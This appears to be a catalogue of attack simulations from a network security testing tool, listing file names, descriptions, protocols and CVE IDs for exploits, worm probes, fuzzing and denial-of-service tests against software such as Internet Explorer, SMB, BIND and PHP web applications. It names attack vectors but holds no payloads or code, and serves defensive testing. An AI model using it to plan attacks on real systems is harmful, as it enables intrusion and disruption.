Detailed Description:	An integer overflow vulnerability exists in the OpenOffice software suite. The vulnerability is due to the way OpenOffice parses Tagged Image File Format (TIFF) images. A remote attacker could exploit this vulnerability by persuading a user to open a malicious TIFF file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-2834
Threat Package:	Standard
Threat File Name:	netsprint_activex_dos_IPv6.xml
Executive Description:	NetSprint Toolbar ActiveX Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the askPopStp.dll ActiveX Control that will lead to a denial of service (IE crash). NetSprint Toolbar is a component of Internet Explorer, a web browser that connects to web servers listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2210
Threat Package:	Standard
Threat File Name:	TSL20161229-01_PHP_exception_toString_Denial_of_Service.xml
Executive Description:	PHP exception toString Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in PHP. The vulnerability is due to improper handling of exception objects who refer to themselves as the previous exception in the __toString method. A remote attacker could exploit this vulnerability by sending maliciously crafted data to the unserialize method and invoking the __toString method on the unserialized object. Successful exploitation of this vulnerability could lead to denial of service.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-7478
Threat File Name:	TSL20130514-13_Microsoft_.NET_Framework_XML_Digital_Signature_Spoofing.xml
Executive Description:	Microsoft .NET Framework XML Digital Signature Spoofing
Detailed Description:	A spoofing vulnerability has been reported in Microsoft .NET Framework. The vulnerability is due to Microsoft .NET Framework fails to properly validate the signature of a specially crafted XML file. An attacker can exploit this vulnerability to modify the content of an XML file without invalidating the signature associated with the file.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-1336
OSVDB:	93301
Threat File Name:	ICMPingScan_IPv6.xml
Executive Description:	ICMP Ping Scan (ECHO request) (IPv6 Version)
Detailed Description:	This threat issues a ICMP Echo Request of an IP address range, much like the Nachi worm. Can cause a firewall to use up available memory for Network Address Translation (NAT). (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	w-agora_traversal_IPv6.xml
Executive Description:	W-agora File Disclosure (IPv6 Version)
Detailed Description:	This threat causes the web application W-agora to disclose the contents of files contained on the server. This can be used by an attacker to learn of sensitive information on the target computer to launch further attacks. This attack affects a web application, which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2648
OSVDB:	18831
Threat Package:	Standard
Threat File Name:	esyndicat_page_sqli_IPv6.xml
Executive Description:	eSyndiCat (page.php) Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a HTTP request for a URL that contains an SQL query which will be executed on the affected server. eSyndiCat is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20090310-17_Microsoft_WINS_Server_WPAD_Registration_Spoofing.xml
Executive Description:	Microsoft WINS Server WPAD Registration Spoofing
Detailed Description:	A spoofing vulnerability exists in Microsoft Windows WINS server. This vulnerability is due to lack of validation of NetBIOS communication names during name registration with the WINS server. Exploiting the vulnerability allows an attacker to register specially treated/trusted names, such as WPAD and ISATAP, and point them to arbitrary addresses. Exploiting this vulnerability could allow a remote unauthenticated attacker to redirect Internet traffic to an attacker controlled host, thereby allowing man-in-the-middle and spoofing attacks.
Protocol Type:	NBNS
CVEID:	CVE-2009-0094
Threat Package:	Standard
Threat File Name:	phpmychat_cmi.xml
Executive Description:	PHPMyChat 0.14.5 MessagesL.PHP3 Command Injection / SQL Injection Vulnerability

Detailed Description:	This threat sends a crafted HTTP query containing an SQL statement which when executed by the server allows the injection of PHP code which will also be executed by the server when the inserted record is displayed.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20130108-14_Foxit_Reader_Plugin_for_Firefox_URL_String_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Foxit Reader Plugin for Firefox URL String Stack Buffer Overflow(IPV6 Version)
Detailed Description:	A stack buffer overflow vulnerability has been identified in Foxit Reader Plugin for Firefox. The vulnerability is due to a lack of bounds checking in npFoxitReaderPlugin.dll and affects handling of URLs. A remote attacker could exploit this vulnerability by enticing a target user to load a malicious PDF file. Successful exploitation would result in execution of arbitrary attacker code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3
OSVDB:	89030
Threat File Name:	mtcms_rfi.xml
Executive Description:	MTCMS <= 2.0 (admin/admin_settings.php) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MTCMS is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-GET_PrependedHTTPWithformats_IPv6.xml
Executive Description:	Fuzz HTTP GET with Request-URI prepended with %s (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI Version field by prepending %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20040806-01_Red_Hat_Enterprise_Linux_DNS_Resolver_Buffer_Overflow.xml
Executive Description:	Red Hat Enterprise Linux DNS Resolver Buffer Overflow
Detailed Description:	A vulnerability exists in the DNS stub resolver library in ISC BIND that also affects the resolver component of older versions of the glibc library. This vulnerability has been known for some time, but has gone unfixed in several versions of the Red Hat Linux operating systems until recently. This can allow an attacker to send a malicious DNS response packets to a vulnerable system to cause a denial of service condition or execution of arbitrary code.
Protocol Type:	DNS
CVEID:	CVE-2002-0029
Threat Package:	Standard
Threat File Name:	FSC20080108-06_Microsoft_Windows_Kernel_IGMPv3_and_MLDv2_Request_Processing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Kernel IGMPv3 and MLDv2 Request Processing Code Execution (IPv6 Version)
Detailed Description:	There exists a remote code execution vulnerability in the Microsoft Windows TCP/IP stack driver. The flaw is due to insufficient validation when processing Internet Group Management Protocol (IGMP) messages and Multicast Listener Discovery (MLD) messages. An unauthenticated remote attacker can leverage this vulnerability to execute arbitrary code with elevated privileges or create a system wide denial of service condition on the target host. (IPv6 Version)
Protocol Type:	IGMP/IPv6
CVEID:	CVE-2007-0069
Threat Package:	Standard
Threat File Name:	TSL20140618-14_Symantec_Web_Gateway_dbutils.php_SQL_Injection.xml
Executive Description:	Symantec Web Gateway dbutils.php SQL Injection
Detailed Description:	An SQL injection vulnerability exists in Symantec Web Gateway. The vulnerability is due to lack of proper sanitization of the "hostname" HTTP parameter passed to some PHP pages. A remote, authenticated attacker could exploit this vulnerability by sending a crafted HTTP request to the vulnerable target server. A successful exploitation attempt could result in the execution of SQL commands, leading to information disclosure, corruption of the database, a denial-of-service condition, corruption of the database, and possibly other effects.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-1651
OSVDB:	108183
Threat File Name:	sipcontactparam_IPv6.xml
Executive Description:	SIPPING: Contact Header Parameter (IPv6 Version)
Detailed Description:	This threat sends out a SIP REGISTER message with an unknown parameter in the Contact: header. This is allowed but unexpected and may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20130514-30_Microsoft_Internet_Explorer_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer Use After Free
Detailed Description:	A use-after-free vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-1309
OSVDB:	93294
Threat File Name:	lupper19_IPv6.xml
Executive Description:	Lupper Worm 19 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921

OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20170509-25_Microsoft_Windows_SMB_Server_SMBv1_Out_of_Bounds_Read_IPv6.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 Out of Bounds Read (IPv6 Version)
Detailed Description:	An out of bounds read vulnerability has been reported in the SMB Server component of Microsoft Windows. The vulnerability is due to improper handling of SMBv1 requests. A remote, unauthenticated attacker could exploit the vulnerability by sending a crafted request to a target SMB server. Successful exploitation could possibly result in the disclosure of information which may be used to facilitate further attacks.
Protocol Type:	SMB/CIFS,IPv6
CVEID:	CVE-2017-0267
Threat File Name:	open_con_sys_rfi.xml
Executive Description:	Open Conference Systems <= 1.1.3 Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Open Conference Systems is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5308
OSVDB:	29739
Threat Package:	Standard
Threat File Name:	quicktime_applet_rcmdexec.xml
Executive Description:	Apple Quicktime (Multiple Browsers) Command Execution Vulnerability
Detailed Description:	This threat demonstrates a flaw in Apple Quicktime that uses a malicious javascript to execute arbitrary code via crafted a media file or webpage. This threat is delivered via http.
Protocol Type:	HTTP
CVEID:	CVE-2007-2397
Threat Package:	Standard
Threat File Name:	FSC20080818-08_Openwsman_HTTP_Basic_Authentication_Buffer_Overflow.xml
Executive Description:	Openwsman HTTP Basic Authentication Buffer Overflow
Detailed Description:	There exists a stack buffer overflow vulnerability in Openwsman. The flaw is due to improper processing of the HTTP basic authentication header. Remote attackers could exploit this vulnerability by sending HTTP requests with specially crafted header value. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the security context of the current server process. In a sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current server process. In an attack case where code injection is not successful, the affected service can terminate abnormally.
Protocol Type:	HTTP
CVEID:	CVE-2008-2234
Threat Package:	Standard
Threat File Name:	FSC20071009-17_Microsoft_Outlook_Express_and_Windows_Mail_NNTP_Handling_Code_Execution.xml
Executive Description:	Microsoft Outlook Express and Windows Mail NNTP Handling Code Execution
Detailed Description:	There is a buffer overflow vulnerability exists in Microsoft Outlook Express and Windows Mail. Specifically the vulnerability is due to lack of boundary check when processing news subjects from the NNTP server. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable client system, in the context of the logged in user.
Protocol Type:	NNTP
CVEID:	CVE-2007-3897
Threat Package:	Standard
Threat File Name:	xoops_wiwi_mod_rfi.xml
Executive Description:	XOOPS Module WiwiMod v0.4 (spaw_root) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. WiwiMod is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3289
Threat Package:	Standard
Threat File Name:	clever_copy_sqli_IPv6.xml
Executive Description:	Clever Copy SQL injection in mailarticle.php's ID variable (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains a SQL query which is executed by the server. Clever Copy is a web based application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0583
OSVDB:	22984
Threat Package:	Standard
Threat File Name:	TSL20160929-02_ISC_BIND_buffer_c_Assertion_Failure_Denial_of_Service.xml
Executive Description:	ISC BIND buffer.c Assertion Failure Denial of Service
Detailed Description:	A denial-of-service vulnerability has been reported in ISC BIND. The vulnerability is due to a defect that can cause named to exit with an assertion failure in buffer.c while constructing a response to a crafted query. A remote, unauthenticated attacker could exploit this vulnerability by providing a specially crafted query to the vulnerable server. Successful exploitation could lead to denial-of-service condition.
Protocol Type:	DNS
CVEID:	CVE-2016-2776
Threat File Name:	FSC20100608-04_Microsoft_Internet_Explorer_8_Developer_Tools_Remote_Code_Execution_IPv6.xml
Executive Description:	Microsoft Internet Explorer 8 Developer Tools Remote Code Execution(IPv6 Version)

Detailed Description:	There is a remote code execution vulnerability in Microsoft Internet Explorer 8 Developer Tools. The vulnerability is due to improper initialization of a Component Object Model (COM) object in the iedvtool.dll dynamic link library. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-0811
Threat File Name:	TSL20151013-07_Microsoft_Windows_Toolbar_Object_Handling_Use_After_Free.xml
Executive Description:	Microsoft Windows Toolbar Object Handling Use After Free
Detailed Description:	A use after free vulnerability exists in Microsoft Windows Shell. The vulnerability is caused by accessing already freed memory objects. An attacker could exploit the vulnerability by convincing a user to open a specially crafted web page. An attacker who successfully exploited this vulnerability could execute arbitrary code within the security context of the current user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2515
Threat File Name:	snort_write_andx_bof_IPv6.xml
Executive Description:	Snort DCE/RPC Preprocessor Remote Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends out a SMB packet constructed in such a way that it will cause a buffer overflow and crash Snort 2.6.1. (IPv6 Version)
Protocol Type:	SMB/IPv6
CVEID:	CVE-2006-5276
OSVDB:	32064
Threat Package:	Standard
Threat File Name:	TSL20111209-05_Apache_Struts_2_ConversionErrorInterceptor_OGNL_Script_Injection.xml
Executive Description:	Apache Struts 2 ConversionErrorInterceptor OGNL Script Injection
Detailed Description:	A script injection vulnerability has been found in Apache Struts 2. The vulnerability is due to a design error: HTTP request parameters are interpreted as OGNL expressions when conversion errors occur. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a vulnerable Struts 2 web application. A successful attack will result in the execution of arbitrary OGNL expressions (possibly OS commands) in the security context of the web application server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0391
Threat File Name:	MS_SMS_DoS.xml
Executive Description:	Microsoft SMS Denial of Service
Detailed Description:	This threat is executed by sending this crafted packet to port 2702 which will result in the SMS client to throw an exception and crash.
Protocol Type:	SMS
CVEID:	CVE-2004-0728
OSVDB:	8243
Threat Package:	Standard
Threat File Name:	sipltgturi_IPv6.xml
Executive Description:	SIPPING: <> in Request-URI (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with the Request-URI enclosed in <>. This is not legal and because it is unexpected may confuse or crash a SIP implementation. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	nimda16.xml
Executive Description:	Nimda Request URL 16
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ie_daxctle-ocx_heap.xml
Executive Description:	Microsoft Internet Explorer COM Object Instantiation Daxctle.OCX Heap Buffer Overflow vulnerability.
Detailed Description:	This threat leverages an flaw in the way Internet Explorer instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Internet Explorer is a web browser that typically browses web sites on port 80. This is a client side attack that comes from the virtual server.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	lupper13.xml
Executive Description:	Lupper Worm 13
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	xine_fs_IPv6.xml
Executive Description:	Xine Playlist Handling Remote Format String Vulnerability (IPv6 Version)
Detailed Description:	This server based threat exploits a format string flaw in the XINE player, by providing a format string within the playlist file as the track path. This threat is delivered via HTTP which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard

Threat File Name:	TSL20170515-08_HPE_Intelligent_Management_Center_dbman_RestoreZipFile_Command_Injection_IPv6.xml
Executive Description:	HPE Intelligent Management Center dbman RestoreZipFile Command Injection (IPv6 Version)
Detailed Description:	A command injection vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability exists due to missing validation of user-provided parameters when handling RestoreZipFile commands. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation of this vulnerability can lead to remote command execution in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol,IPv6
CVEID:	CVE-2017-5821
OSVDB:	
Threat File Name:	TSL20121010-01_Cisco_WebEx_Recording_Format_Player_atas32_dll_Memory_Corruption.xml
Executive Description:	Cisco WebEx Recording Format Player atas32.dll Memory Corruption
Detailed Description:	A code execution vulnerability exists in Cisco WebEx Recording Format (WRF) Player. This vulnerability is due to a write-what-where memory corruption when the WRF player handles WRF files. A remote, unauthenticated attacker can leverage this vulnerability by crafting a WRF file and enticing a target user to view the malicious file. Successful exploitation would result in execution of arbitrary code on the target host in the context of the application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-3939
OSVDB:	N/A
Threat File Name:	blur6ex_xss_IPv6.xml
Executive Description:	Blursoft Blur6ex Cross-site scripting Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains a malicious script which is then executed by the server. Blur6ex is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1762
OSVDB:	24685
Threat Package:	Standard
Threat File Name:	FSC20080812-11_Microsoft_Excel_Axisparent_Record_Index_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Axisparent Record Index Handling Code Execution (IPv6 Version)
Detailed Description:	There exists a code execution vulnerability in Microsoft Excel. The vulnerability is due to insufficient validation of index values when parsing the Axisparent record. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3004
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_backSlash.xml
Executive Description:	Fuzz SMTP HELO verb with \
Detailed Description:	Fuzzes the SMTP HELO Parameter with \ from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	FSC20091217-13_HP_OpenView_Storage_Data_Protector_Cell_Manager_Heap_Buffer_Overflow.xml
Executive Description:	HP OpenView Storage Data Protector Cell Manager Heap Buffer Overflow
Detailed Description:	A heap buffer overflow vulnerability exists in HP OpenView Data Protector Cell Manager. The flaw is due to an integer overflow while processing crafted packets received on port 1530/TCP. A remote unauthenticated attacker can exploit this vulnerability by sending maliciously crafted packets to the affected service. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code. Successful exploitation could result in execution of arbitrary code within the security context of the service, which is usually SYSTEM. An unsuccessful attack may cause the target service to abnormally terminate.
Protocol Type:	HP Cell Manager
CVEID:	CVE-2007-2281
Threat Package:	Standard
Threat File Name:	FSC20100716-03_Ipswitch_IMail_Server_List_Mailer_Reply-To_Address_Buffer_Overflow_IPv6.xml
Executive Description:	Ipswitch IMail Server List Mailer Reply-To Address Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Ipswitch IMail Server List Mailer component. The vulnerability is due to a boundary error in the IMailSrv.exe which handles messages sent to the IMail Server. The vulnerable code does not properly handle multiple "Reply-To:" headers in the incoming messages. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted message to the affected service. Successful exploitation of this vulnerability can lead to arbitrary code execution under the context of the System user.
Protocol Type:	IPv6,SMTP,SMTPS
Threat Package:	Standard
Threat File Name:	NOOPtcpUNIX2.xml
Executive Description:	TCP NOOP packet variant HP-UNIX 2
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20041006-01_Mozilla_Firefox_Download_Directory_File_Deletion_Vulnerability_IPv6.xml
Executive Description:	Mozilla Firefox Download Directory File Deletion Vulnerability (IPv6 Version)
Detailed Description:	There is a vulnerability in the way Mozilla Firefox handles file download operations. If the vulnerable victim saves a remote resource that uses a specific scheme, files within the download folder can be deleted. An attacker could exploit this vulnerability to remove files in the user download directory. (IPv6 Version)

Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-2225
Threat Package:	Standard
Threat File Name:	TSL20130212-24_Microsoft_Internet_Explorer_CHTML_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CHTML Use After Free(IPv6 Version)
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to the use of an object after it has been deleted (use-after-free). A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0029
OSVDB:	90126
Threat File Name:	TSL20121212-15_Adobe_Flash_Player_loadPCMFromByteArray_Integer_Overflow.xml
Executive Description:	Adobe Flash Player loadPCMFromByteArray Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Adobe Flash player. When the flash.media.Sound.loadPCMFromByteArray function is called with a large number of samples in the parameter, an integer overflow occurs. This is then used in the indexing of arrays leading to a potential buffer overflow. A remote attacker could exploit these vulnerabilities by enticing a user to visit a web page embedding a specially crafted Flash file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2012-5677
OSVDB:	88353
Threat File Name:	FSC20040826-02_Ipswitch_WhatsUp_Gold_Web_Server_Buffer_Overflow_IPv6.xml
Executive Description:	Ipswitch WhatsUp Gold Web Server Buffer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the way the web server component of Ipswitch WhatsUp Gold parses HTTP requests. A buffer overflow occurs due to insufficient input validation of the instancename parameter when creating a new notification record. An attacker exploiting this vulnerability can cause the service to crash or remotely execute arbitrary code. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0798
Threat Package:	Standard
Threat File Name:	phpunity_rfi.xml
Executive Description:	phpunity.postcard (phpunity-postcard.php) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. phpUnity is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20121211-04_Microsoft_DirectPlay_Office_File_Handling_Invalid_Memory_Free_IPv6.xml
Executive Description:	Microsoft DirectPlay Office File Handling Invalid Memory Free(IPv6 Version)
Detailed Description:	An invalid memory free vulnerability exists in Microsoft DirectPlay. The vulnerability is due to a logic error in initializing the DirectPlay ActiveX controls embedded in office documents. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted Microsoft Office document. This can lead to memory corruption and possibly code execution in the context of the affected user.
Protocol Type:	IPv6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-1537
OSVDB:	88312
Threat File Name:	TSL20161108-38_Microsoft_Edge_Chakra_Array.shift_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Edge Chakra Array.shift Type Confusion (IPv6 Version)
Detailed Description:	A type confusion vulnerability has been reported in Chakra, Microsoft Edge's scripting engine. This vulnerability is due to incorrect handling of Array objects in memory when the Array.shift method is called JavaScript. A remote attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-7201
Threat File Name:	TSL20140416-20_Oracle_Data_Quality_FileChooserDlg_onChangeDirectory_Untrusted_Pointer_Dereference_IPv6.xml
Executive Description:	Oracle Data Quality FileChooserDlg onChangeDirectory Untrusted Pointer Dereference IPv6 version.
Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSS12.DscTools.FileChooserDlg ActiveX control.A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2014-2418
OSVDB:	105822105822
Threat File Name:	simpnews_sqli_IPv6.xml
Executive Description:	SimpNews <= 2.40.01 (print.php newnr) Remote SQL Injection Exploit (IPv6 Version)
Detailed Description:	This threat demonstrates a standard SQL injection attack against SimpNews, this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2750
Threat Package:	Standard
Threat File Name:	phpclassifieds_rfi.xml

Executive Description:	PHP Classifieds CatID Parameter SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Php Classifieds is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5208
Threat Package:	Standard
Threat File Name:	mrtg_cfg.xml
Executive Description:	MRTG Directory Traversal
Detailed Description:	This threat uses a flaw in the MRTG bandwidth monitoring program to read arbitrary files off of the host system. This can be used by an attacked to read password files or source files of other parts of the webpage. MRTG is a web application, which typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2002-0232
OSVDB:	823
Threat Package:	Standard
Threat File Name:	FSC20070927-14_OpenSSL_SSL_get_shared_ciphers_Function_Off-by-one_Buffer_Overflow_IPv6.xml
Executive Description:	OpenSSL SSL_get_shared_ciphers Function Off-by-one Buffer Overflow (IPv6 Version)
Detailed Description:	There exists an off-by-one buffer overflow vulnerability in the OpenSSL library. The flaw is due to an off-by-one buffer check error in function "SSL_get_shared_ciphers()" . A remote attacker may exploit this vulnerability by sending a crafted list of ciphers to the affected server or an application that uses this function to inject and execute arbitrary code on the target system. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-5135
Threat File Name:	lightspeedweb_disclosure_IPv6.xml
Executive Description:	LiteSpeed Web Server <= 3.2.3 Remote Source Code Disclosure Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a Mime type injection flaw in LiteSpeed Web Server that leads to the disclosure of source code on the affected site. LiteSpeed Web Server can be found listening on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5654
Threat Package:	Standard
Threat File Name:	snitz_forums2000_sql.xml
Executive Description:	Snitz Forums 2000 Version 3.1 SR4 (pop_profile.asp) Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Snitz Forums 2000 is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20090306-05_Mozilla_Firefox_JavaScript_Array_splice_Memory_Corruption.xml
Executive Description:	Mozilla Firefox JavaScript Array.splice Memory Corruption
Detailed Description:	A vulnerability exists in Mozilla Firefox. The vulnerability is due to insufficient validation when executing malicious JavaScript code. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. In a successful attack that arbitrary code being injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document.
Protocol Type:	
CVEID:	CVE-2009-0773
Threat Package:	Standard
Threat File Name:	TSL20141111-23_Microsoft_Windows_SChannel_Buffer_Overflow.xml
Executive Description:	Microsoft Windows SChannel Buffer Overflow
Detailed Description:	A remote code execution vulnerability exists in Microsoft SChannel. The vulnerability is due to improper processing of specially crafted packets that leads to a buffer overflow. A remote, unauthenticated attacker can exploit this vulnerability by sending specially crafted packets to the target machine. Successful exploitation could result in arbitrary code execution on the affected system. Tester should set variable \$destport to 443 before test.
Protocol Type:	TLS/DTLS/HTTPS/SMTP/SMTPS
CVEID:	CVE-2014-6321
OSVDB:	114506
Threat File Name:	shadow_portal_rfi_IPv6.xml
Executive Description:	Shadowed Portal 5.599 Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Shadowed Portal is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4826
OSVDB:	28835
Threat Package:	Standard
Threat File Name:	TSL20150909-12_Advantech_WebAccess_AspVCObj_AspDataDriven_ActiveX_GetRecipeInfo_Stack_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess AspVCObj.AspDataDriven ActiveX GetRecipeInfo Stack Buffer Overflow
Detailed Description:	A stack buffer overflow vulnerability exists in Advantech's WebAccess SCADA software. The vulnerability is due to insufficient input validation of an argument of GetRecipeInfo() in the AspVCObj.AspDataDriven ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation can lead to code execution in the context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-9208

Threat File Name:	FSC20100128-09_Sun_Java_System_Web_Server_Admin_Server_Denial_of_Service.xml
Executive Description:	Sun Java System Web Server Admin Server Denial of Service
Detailed Description:	A denial of service vulnerability exists in Sun Java Web Server Admin Server. The vulnerability is due to insufficient input validation when processing malformed HTTP requests. A remote unauthenticated attacker can leverage this vulnerability by sending a crafted HTTP request to a target Admin Server. In a successful attack scenario the target Admin Server will terminate abnormally, creating a temporary denial of service condition.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	TSL20160913-34_Microsoft_Internet_Explorer_and_Edge_CVE-2016-3295_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer and Edge CVE-2016-3295 Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer and Edge. This vulnerability is due to improper access of objects in memory. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution under the security context of the target user.
